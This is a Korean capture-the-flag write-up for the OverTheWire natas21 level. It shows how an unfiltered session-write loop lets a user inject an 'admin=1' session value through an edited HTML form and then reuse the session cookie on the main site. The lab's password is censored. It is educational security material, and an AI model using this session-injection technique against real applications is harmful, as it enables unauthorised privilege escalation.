이번에는 사이트가 2개이다:
http://natas21.natas.labs.overthewire.org/
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
여기에서는 session에 존재하는 admin의 값이 1일 경우 password를 확인할 수 있고
http://natas21-experimenter.natas.labs.overthewire.org/index.php
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
여기에서는 align, fontsize, bgcolor 값을 session에 저장하고 읽어오는 것을 알 수 있다.
주석 상으로는 // only allow these keys 라고 써있지만 실제로 요청을 필터링하는 짓은 하지 않는다 ㅡㅡ;;
admin 키의 값을 1로 바꾸라는 요청을 보내면 바꿔줄것이 틀림없다.
admin 값을 1로 바꾸자, 본문 HTML을 다음과 같이 변경하면 admin 값을 보내는 필드를 만들 수 있다:
<form action="index.php" method="POST">align: <input name="align" value="center"><br>fontsize: <input name="fontsize" value="100%"><br>bgcolor: <input name="bgcolor" value="yellow"><br><input type="submit" name="submit" value="Update"></form>
->
<form action="index.php" method="POST">align: <input name="align" value="center"><br>fontsize: <input name="fontsize" value="100%"><br>bgcolor: <input name="bgcolor" value="yellow"><br>admin: <input name="admin" value="1"><br><input type="submit" name="submit" value="Update"></form>
Update를 눌러 요청을 보낸 뒤, 이 창의 PHPSESSID를 http://natas21.natas.labs.overthewire.org/ 에 적용시킨 다음 새로고침을 하면 natas22의 패스워드를 알 수 있다.